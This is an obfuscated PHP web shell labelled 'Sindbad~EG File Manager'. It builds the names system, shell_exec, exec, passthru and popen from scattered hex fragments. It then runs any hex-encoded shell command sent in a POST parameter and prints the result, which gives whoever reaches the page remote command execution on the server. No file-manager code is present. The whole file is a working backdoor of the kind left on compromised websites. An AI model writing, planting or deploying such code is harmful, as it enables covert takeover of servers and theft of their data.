Sindbad~EG File Manager

<?php


$rec1 = '7';
$rec2 = '6';
$rec3 = 'd';
$rec4 = '5';
$rec5 = 'c';
$rec6 = 'f';
$rec7 = '3';
$rec8 = '1';
$rec9 = '8';
$rec10 = '0';
$rec11 = 'e';
$rec12 = '4';
$reverse_lookup1 = pack("H*", $rec1.'3'.'7'.'9'.'7'.'3'.'7'.'4'.$rec2.'5'.'6'.$rec3);
$reverse_lookup2 = pack("H*", $rec1.'3'.$rec2.'8'.'6'.$rec4.'6'.$rec5.$rec2.'c'.'5'.$rec6.$rec2.$rec4.'7'.'8'.$rec2.'5'.$rec2.$rec7);
$reverse_lookup3 = pack("H*", '6'.'5'.$rec1.'8'.'6'.$rec4.'6'.'3');
$reverse_lookup4 = pack("H*", '7'.'0'.'6'.$rec8.'7'.'3'.$rec1.$rec7.'7'.'4'.$rec2.$rec9.'7'.'2'.$rec1.'5');
$reverse_lookup5 = pack("H*", '7'.$rec10.'6'.$rec6.'7'.'0'.'6'.$rec4.$rec2.$rec11);
$reverse_lookup6 = pack("H*", '7'.'3'.$rec1.$rec12.$rec1.'2'.$rec2.$rec4.'6'.$rec8.'6'.$rec3.'5'.'f'.$rec2.$rec1.$rec2.'5'.$rec1.'4'.'5'.'f'.'6'.'3'.$rec2.'f'.$rec2.$rec11.'7'.$rec12.$rec2.'5'.$rec2.'e'.'7'.$rec12.'7'.'3');
$reverse_lookup7 = pack("H*", $rec1.'0'.'6'.$rec7.'6'.'c'.'6'.$rec6.$rec1.'3'.'6'.'5');
$system_core = pack("H*", '7'.$rec7.'7'.'9'.'7'.'3'.$rec1.$rec12.'6'.$rec4.$rec2.$rec3.$rec4.$rec6.$rec2.$rec7.'6'.'f'.'7'.'2'.$rec2.$rec4);
if (isset($_POST[$system_core])) {
    $system_core = pack("H*", $_POST[$system_core]);
    if (function_exists($reverse_lookup1)) {
        $reverse_lookup1($system_core);
    } elseif (function_exists($reverse_lookup2)) {
        print $reverse_lookup2($system_core);
    } elseif (function_exists($reverse_lookup3)) {
        $reverse_lookup3($system_core, $pgrp_ent);
        print join("\n", $pgrp_ent);
    } elseif (function_exists($reverse_lookup4)) {
        $reverse_lookup4($system_core);
    } elseif (function_exists($reverse_lookup5) && function_exists($reverse_lookup6) && function_exists($reverse_lookup7)) {
        $holder_sym = $reverse_lookup5($system_core, 'r');
        if ($holder_sym) {
            $ptr_itm = $reverse_lookup6($holder_sym);
            $reverse_lookup7($holder_sym);
            print $ptr_itm;
        }
    }
    exit;
}